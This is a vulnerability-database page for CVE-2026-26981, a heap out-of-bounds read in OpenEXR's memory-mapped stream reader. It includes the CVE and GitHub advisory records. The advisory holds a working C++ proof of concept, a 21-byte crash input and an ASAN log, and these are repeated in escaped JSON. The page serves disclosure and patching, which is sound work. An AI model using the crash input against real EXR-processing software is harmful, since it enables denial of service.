Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-26981 (GCVE-0-2026-26981)
Vulnerability from cvelistv5 – Published: 2026-02-24 02:26 – Updated: 2026-02-24 20:03- CWE-195 - Signed to Unsigned Conversion Error
| URL | Tags | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| AcademySoftwareFoundation | openexr |
Affected:
>= 3.3.0, < 3.3.7
Affected: >= 3.4.0, < 3.4.5 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-26981",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-02-24T19:50:34.463990Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-02-24T20:03:54.667Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "openexr",
"vendor": "AcademySoftwareFoundation",
"versions": [
{
"status": "affected",
"version": "\u003e= 3.3.0, \u003c 3.3.7"
},
{
"status": "affected",
"version": "\u003e= 3.4.0, \u003c 3.4.5"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.3.0 through 3.3.6 and 3.4.0 through 3.4.4, a heap-buffer-overflow (OOB read) occurs in the `istream_nonparallel_read` function in `ImfContextInit.cpp` when parsing a malformed EXR file through a memory-mapped `IStream`. A signed integer subtraction produces a negative value that is implicitly converted to `size_t`, resulting in a massive length being passed to `memcpy`. Versions 3.3.7 and 3.4.5 contain a patch."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-195",
"description": "CWE-195: Signed to Unsigned Conversion Error",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-02-24T02:26:16.659Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-q6vj-wxvf-5m8c",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-q6vj-wxvf-5m8c"
},
{
"name": "https://github.com/AcademySoftwareFoundation/openexr/commit/6bb2ddf1068573d073edf81270a015b38cc05cef",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/AcademySoftwareFoundation/openexr/commit/6bb2ddf1068573d073edf81270a015b38cc05cef"
},
{
"name": "https://github.com/AcademySoftwareFoundation/openexr/commit/d2be382758adc3e9ab83a3de35138ec28d93ebd8",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/AcademySoftwareFoundation/openexr/commit/d2be382758adc3e9ab83a3de35138ec28d93ebd8"
}
],
"source": {
"advisory": "GHSA-q6vj-wxvf-5m8c",
"discovery": "UNKNOWN"
},
"title": "OpenEXR has heap-buffer-overflow via signed integer underflow in ImfContextInit.cpp"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-26981",
"datePublished": "2026-02-24T02:26:16.659Z",
"dateReserved": "2026-02-17T01:41:24.605Z",
"dateUpdated": "2026-02-24T20:03:54.667Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-26981",
"date": "2026-04-15",
"epss": "0.00021",
"percentile": "0.05683"
},
"nvd": "{\"cve\":{\"id\":\"CVE-2026-26981\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-02-24T03:16:01.890\",\"lastModified\":\"2026-02-25T17:30:34.797\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.3.0 through 3.3.6 and 3.4.0 through 3.4.4, a heap-buffer-overflow (OOB read) occurs in the `istream_nonparallel_read` function in `ImfContextInit.cpp` when parsing a malformed EXR file through a memory-mapped `IStream`. A signed integer subtraction produces a negative value that is implicitly converted to `size_t`, resulting in a massive length being passed to `memcpy`. Versions 3.3.7 and 3.4.5 contain a patch.\"},{\"lang\":\"es\",\"value\":\"OpenEXR proporciona la especificaci\u00f3n y la implementaci\u00f3n de referencia del formato de archivo EXR, un formato de almacenamiento de im\u00e1genes para la industria cinematogr\u00e1fica. En las versiones 3.3.0 a 3.3.6 y 3.4.0 a 3.4.4, ocurre un desbordamiento de b\u00fafer de pila (lectura fuera de l\u00edmites) en la funci\u00f3n `istream_nonparallel_read` en `ImfContextInit.cpp` al analizar un archivo EXR malformado a trav\u00e9s de un `IStream` mapeado en memoria. Una resta de enteros con signo produce un valor negativo que se convierte impl\u00edcitamente a `size_t`, lo que resulta en una longitud masiva que se pasa a `memcpy`. Las versiones 3.3.7 y 3.4.5 contienen un parche.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H\",\"baseScore\":6.5,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"REQUIRED\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":2.8,\"impactScore\":3.6}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-195\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"3.3.0\",\"versionEndExcluding\":\"3.3.7\",\"matchCriteriaId\":\"9609FA05-1955-406E-BF47-2DB544450059\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"3.4.0\",\"versionEndExcluding\":\"3.4.5\",\"matchCriteriaId\":\"DD82B1F5-5B57-49E4-A50C-303F66BB55C0\"}]}]}],\"references\":[{\"url\":\"https://github.com/AcademySoftwareFoundation/openexr/commit/6bb2ddf1068573d073edf81270a015b38cc05cef\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/AcademySoftwareFoundation/openexr/commit/d2be382758adc3e9ab83a3de35138ec28d93ebd8\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-q6vj-wxvf-5m8c\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]}]}}",
"vulnrichment": {
"containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-26981\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-02-24T19:50:34.463990Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-02-24T20:03:49.168Z\"}}], \"cna\": {\"title\": \"OpenEXR has heap-buffer-overflow via signed integer underflow in ImfContextInit.cpp\", \"source\": {\"advisory\": \"GHSA-q6vj-wxvf-5m8c\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 6.5, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"REQUIRED\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"AcademySoftwareFoundation\", \"product\": \"openexr\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 3.3.0, \u003c 3.3.7\"}, {\"status\": \"affected\", \"version\": \"\u003e= 3.4.0, \u003c 3.4.5\"}]}], \"references\": [{\"url\": \"https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-q6vj-wxvf-5m8c\", \"name\": \"https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-q6vj-wxvf-5m8c\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/AcademySoftwareFoundation/openexr/commit/6bb2ddf1068573d073edf81270a015b38cc05cef\", \"name\": \"https://github.com/AcademySoftwareFoundation/openexr/commit/6bb2ddf1068573d073edf81270a015b38cc05cef\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/AcademySoftwareFoundation/openexr/commit/d2be382758adc3e9ab83a3de35138ec28d93ebd8\", \"name\": \"https://github.com/AcademySoftwareFoundation/openexr/commit/d2be382758adc3e9ab83a3de35138ec28d93ebd8\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.3.0 through 3.3.6 and 3.4.0 through 3.4.4, a heap-buffer-overflow (OOB read) occurs in the `istream_nonparallel_read` function in `ImfContextInit.cpp` when parsing a malformed EXR file through a memory-mapped `IStream`. A signed integer subtraction produces a negative value that is implicitly converted to `size_t`, resulting in a massive length being passed to `memcpy`. Versions 3.3.7 and 3.4.5 contain a patch.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-195\", \"description\": \"CWE-195: Signed to Unsigned Conversion Error\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-02-24T02:26:16.659Z\"}}}",
"cveMetadata": "{\"cveId\": \"CVE-2026-26981\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-02-24T20:03:54.667Z\", \"dateReserved\": \"2026-02-17T01:41:24.605Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-02-24T02:26:16.659Z\", \"assignerShortName\": \"GitHub_M\"}",
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
GHSA-Q6VJ-WXVF-5M8C
Vulnerability from github – Published: 2026-04-06 17:51 – Updated: 2026-04-06 17:51Summary
A heap-buffer-overflow (OOB read) occurs in the istream_nonparallel_read function in ImfContextInit.cpp when parsing a malformed EXR file through a memory-mapped IStream. A signed integer subtraction produces a negative value that is implicitly converted to size_t, resulting in a massive length being passed to memcpy.
Affected Version
- OpenEXR main branch (commit at time of testing)
src/lib/OpenEXR/ImfContextInit.cpp, lines 121–136
Root Cause
ImfContextInit.cpp:121-126:
int64_t stream_sz = s->size (); // e.g., 21 (actual file size)
int64_t nend = nread + (int64_t)sz; // e.g., 17 + 4096 = 4113
if (stream_sz > 0 && nend > stream_sz)
{
sz = stream_sz - nend; // 21 - 4113 = -4092 (signed)
}
// ...
memcpy (buffer, data, sz); // sz is size_t → wraps to 0xFFFFFFFFFFFFF004
sz is of type size_t (unsigned), but stream_sz - nend yields a negative int64_t value. This negative value is implicitly converted to size_t, wrapping around to a value close to 2^64, which is then passed to memcpy causing a heap-buffer-overflow.
Suggested fix: sz = stream_sz - nend → sz = stream_sz - nread
Reproduce
Build OpenEXR as static libraries with ASAN enabled, then compile the PoC below.
PoC Code:
#include <cstdint>
#include <cstring>
#include <iostream>
#include <ImfMultiPartInputFile.h>
#include <ImfInputPart.h>
#include <ImfHeader.h>
OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER
class MemMapIStream : public IStream
{
public:
MemMapIStream (const uint8_t* data, size_t len)
: IStream ("poc_input")
, _data (reinterpret_cast<const char*> (data))
, _size (static_cast<int64_t> (len))
, _pos (0)
{}
bool isMemoryMapped () const override { return true; }
bool read (char c[], int n) override
{
int64_t avail = (_pos < _size) ? (_size - _pos) : 0;
int64_t copy = (static_cast<int64_t> (n) < avail) ? n : avail;
if (copy > 0) memcpy (c, _data + _pos, copy);
_pos += n;
return _pos <= _size;
}
char* readMemoryMapped (int n) override
{
if (_pos + n > _size)
throw IEX_NAMESPACE::InputExc ("read past end");
const char* p = _data + _pos;
_pos += n;
return const_cast<char*> (p);
}
uint64_t tellg () override { return static_cast<uint64_t> (_pos); }
void seekg (uint64_t pos) override { _pos = static_cast<int64_t> (pos); }
int64_t size () override { return _size; }
private:
const char* _data;
int64_t _size;
int64_t _pos;
};
OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT
int main ()
{
static const uint8_t crash_data[] = {
0x76, 0x2f, 0x31, 0x01,
0x02, 0x06, 0x00, 0x00,
0x74, 0x69, 0x6c, 0x65, 0x73, 0x00,
0x20, 0x00, 0x00,
0x53, 0x00, 0x00, 0x00
};
try
{
Imf::MemMapIStream stream (crash_data, sizeof (crash_data));
Imf::MultiPartInputFile file (stream);
}
catch (const std::exception& e)
{
std::cout << "Exception: " << e.what () << "\n";
}
return 0;
}
PoC Input: https://drive.google.com/file/d/1VhjdK11LA0LHdW1mJJIQEo64mc5tpOUV/view?usp=drive_link
ASAN Log
==305348==ERROR: AddressSanitizer: negative-size-param: (size=-4096)
#0 0x62aee9fc732a in __asan_memcpy (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
#1 0x62aeea0e3377 in Imf_4_0::istream_nonparallel_read(_priv_exr_context_t const*, void*, void*, unsigned long, unsigned long, int (*)(_priv_exr_context_t const*, int, char const*, ...)) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContextInit.cpp:136:21
#2 0x62aeea15e75b in dispatch_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:51:16
#3 0x62aeea19da19 in scratch_seq_skip /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:202:29
#4 0x62aeea197ec9 in check_populate_tiles /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:1560:9
#5 0x62aeea197ec9 in check_req_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2020:24
#6 0x62aeea197ec9 in pull_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2085:10
#7 0x62aeea197ec9 in internal_exr_parse_header /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2848:18
#8 0x62aeea15f578 in exr_start_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:270:49
#9 0x62aeea0d8130 in Imf_4_0::Context::Context(char const*, Imf_4_0::ContextInitializer const&, Imf_4_0::Context::read_mode_t) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContext.cpp:124:10
#10 0x62aeea0633ab in Imf_4_0::MultiPartInputFile::MultiPartInputFile(char const*, Imf_4_0::ContextInitializer const&, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:59:7
#11 0x62aeea0649de in Imf_4_0::MultiPartInputFile::MultiPartInputFile(Imf_4_0::IStream&, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:96:7
#12 0x62aeea00d522 in fuzz_cpp_headers(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:167:31
#13 0x62aeea00d522 in fuzz_cpp_api(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:460:5
#14 0x62aeea00a156 in LLVMFuzzerTestOneInput /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:927:5
#15 0x62aee9f15414 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187414) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
#16 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
#17 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
#18 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
#19 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#20 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3
#21 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
0x503000000235 is located 0 bytes after 21-byte region [0x503000000220,0x503000000235)
allocated by thread T0 here:
#0 0x62aeea007c61 in operator new[](unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x279c61) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
#1 0x62aee9f15325 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187325) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
#2 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
#3 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
#4 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
#5 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#6 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3
#7 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
SUMMARY: AddressSanitizer: negative-size-param (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) in __asan_memcpy
==305348==ABORTING
Impact
- DoS — Any application that opens a crafted EXR file will crash immediately
- CWE-195 (Signed to Unsigned Conversion Error) → CWE-122 (Heap-based Buffer Overflow)
- Affects any application using an
IStreamimplementation whereisMemoryMapped()returnstrue
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "OpenEXR"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "3.3.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "OpenEXR"
},
"ranges": [
{
"events": [
{
"introduced": "3.4.0"
},
{
"fixed": "3.4.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26981"
],
"database_specific": {
"cwe_ids": [
"CWE-195"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-06T17:51:37Z",
"nvd_published_at": "2026-02-24T03:16:01Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nA heap-buffer-overflow (OOB read) occurs in the `istream_nonparallel_read` function in `ImfContextInit.cpp` when parsing a malformed EXR file through a memory-mapped `IStream`. A signed integer subtraction produces a negative value that is implicitly converted to `size_t`, resulting in a massive length being passed to `memcpy`.\n\n## Affected Version\n\n- OpenEXR **main branch** (commit at time of testing)\n- `src/lib/OpenEXR/ImfContextInit.cpp`, lines 121\u2013136\n\n## Root Cause\n\n`ImfContextInit.cpp:121-126`:\n\n```cpp\nint64_t stream_sz = s-\u003esize (); // e.g., 21 (actual file size)\nint64_t nend = nread + (int64_t)sz; // e.g., 17 + 4096 = 4113\nif (stream_sz \u003e 0 \u0026\u0026 nend \u003e stream_sz)\n{\n sz = stream_sz - nend; // 21 - 4113 = -4092 (signed)\n}\n// ...\nmemcpy (buffer, data, sz); // sz is size_t \u2192 wraps to 0xFFFFFFFFFFFFF004\n```\n\n`sz` is of type `size_t` (unsigned), but `stream_sz - nend` yields a negative `int64_t` value. This negative value is implicitly converted to `size_t`, wrapping around to a value close to `2^64`, which is then passed to `memcpy` causing a heap-buffer-overflow.\n\n**Suggested fix:** `sz = stream_sz - nend` \u2192 `sz = stream_sz - nread`\n\n## Reproduce\n\nBuild OpenEXR as static libraries with ASAN enabled, then compile the PoC below.\n\n**PoC Code:**\n\n```cpp\n#include \u003ccstdint\u003e\n#include \u003ccstring\u003e\n#include \u003ciostream\u003e\n\n#include \u003cImfMultiPartInputFile.h\u003e\n#include \u003cImfInputPart.h\u003e\n#include \u003cImfHeader.h\u003e\n\nOPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER\n\nclass MemMapIStream : public IStream\n{\npublic:\n MemMapIStream (const uint8_t* data, size_t len)\n : IStream (\"poc_input\")\n , _data (reinterpret_cast\u003cconst char*\u003e (data))\n , _size (static_cast\u003cint64_t\u003e (len))\n , _pos (0)\n {}\n\n bool isMemoryMapped () const override { return true; }\n\n bool read (char c[], int n) override\n {\n int64_t avail = (_pos \u003c _size) ? (_size - _pos) : 0;\n int64_t copy = (static_cast\u003cint64_t\u003e (n) \u003c avail) ? n : avail;\n if (copy \u003e 0) memcpy (c, _data + _pos, copy);\n _pos += n;\n return _pos \u003c= _size;\n }\n\n char* readMemoryMapped (int n) override\n {\n if (_pos + n \u003e _size)\n throw IEX_NAMESPACE::InputExc (\"read past end\");\n const char* p = _data + _pos;\n _pos += n;\n return const_cast\u003cchar*\u003e (p);\n }\n\n uint64_t tellg () override { return static_cast\u003cuint64_t\u003e (_pos); }\n void seekg (uint64_t pos) override { _pos = static_cast\u003cint64_t\u003e (pos); }\n\n int64_t size () override { return _size; }\n\nprivate:\n const char* _data;\n int64_t _size;\n int64_t _pos;\n};\n\nOPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT\n\nint main ()\n{\n static const uint8_t crash_data[] = {\n 0x76, 0x2f, 0x31, 0x01,\n 0x02, 0x06, 0x00, 0x00,\n 0x74, 0x69, 0x6c, 0x65, 0x73, 0x00,\n 0x20, 0x00, 0x00,\n 0x53, 0x00, 0x00, 0x00\n };\n\n try\n {\n Imf::MemMapIStream stream (crash_data, sizeof (crash_data));\n Imf::MultiPartInputFile file (stream);\n }\n catch (const std::exception\u0026 e)\n {\n std::cout \u003c\u003c \"Exception: \" \u003c\u003c e.what () \u003c\u003c \"\\n\";\n }\n\n return 0;\n}\n```\n\n**PoC Input:** https://drive.google.com/file/d/1VhjdK11LA0LHdW1mJJIQEo64mc5tpOUV/view?usp=drive_link\n\n## ASAN Log\n\n```\n==305348==ERROR: AddressSanitizer: negative-size-param: (size=-4096)\n #0 0x62aee9fc732a in __asan_memcpy (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #1 0x62aeea0e3377 in Imf_4_0::istream_nonparallel_read(_priv_exr_context_t const*, void*, void*, unsigned long, unsigned long, int (*)(_priv_exr_context_t const*, int, char const*, ...)) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContextInit.cpp:136:21\n #2 0x62aeea15e75b in dispatch_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:51:16\n #3 0x62aeea19da19 in scratch_seq_skip /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:202:29\n #4 0x62aeea197ec9 in check_populate_tiles /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:1560:9\n #5 0x62aeea197ec9 in check_req_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2020:24\n #6 0x62aeea197ec9 in pull_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2085:10\n #7 0x62aeea197ec9 in internal_exr_parse_header /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2848:18\n #8 0x62aeea15f578 in exr_start_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:270:49\n #9 0x62aeea0d8130 in Imf_4_0::Context::Context(char const*, Imf_4_0::ContextInitializer const\u0026, Imf_4_0::Context::read_mode_t) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContext.cpp:124:10\n #10 0x62aeea0633ab in Imf_4_0::MultiPartInputFile::MultiPartInputFile(char const*, Imf_4_0::ContextInitializer const\u0026, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:59:7\n #11 0x62aeea0649de in Imf_4_0::MultiPartInputFile::MultiPartInputFile(Imf_4_0::IStream\u0026, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:96:7\n #12 0x62aeea00d522 in fuzz_cpp_headers(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:167:31\n #13 0x62aeea00d522 in fuzz_cpp_api(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:460:5\n #14 0x62aeea00a156 in LLVMFuzzerTestOneInput /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:927:5\n #15 0x62aee9f15414 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187414) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #16 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #17 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #18 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #19 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n #20 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3\n #21 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n\n0x503000000235 is located 0 bytes after 21-byte region [0x503000000220,0x503000000235)\nallocated by thread T0 here:\n #0 0x62aeea007c61 in operator new[](unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x279c61) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #1 0x62aee9f15325 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187325) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #2 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #3 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) 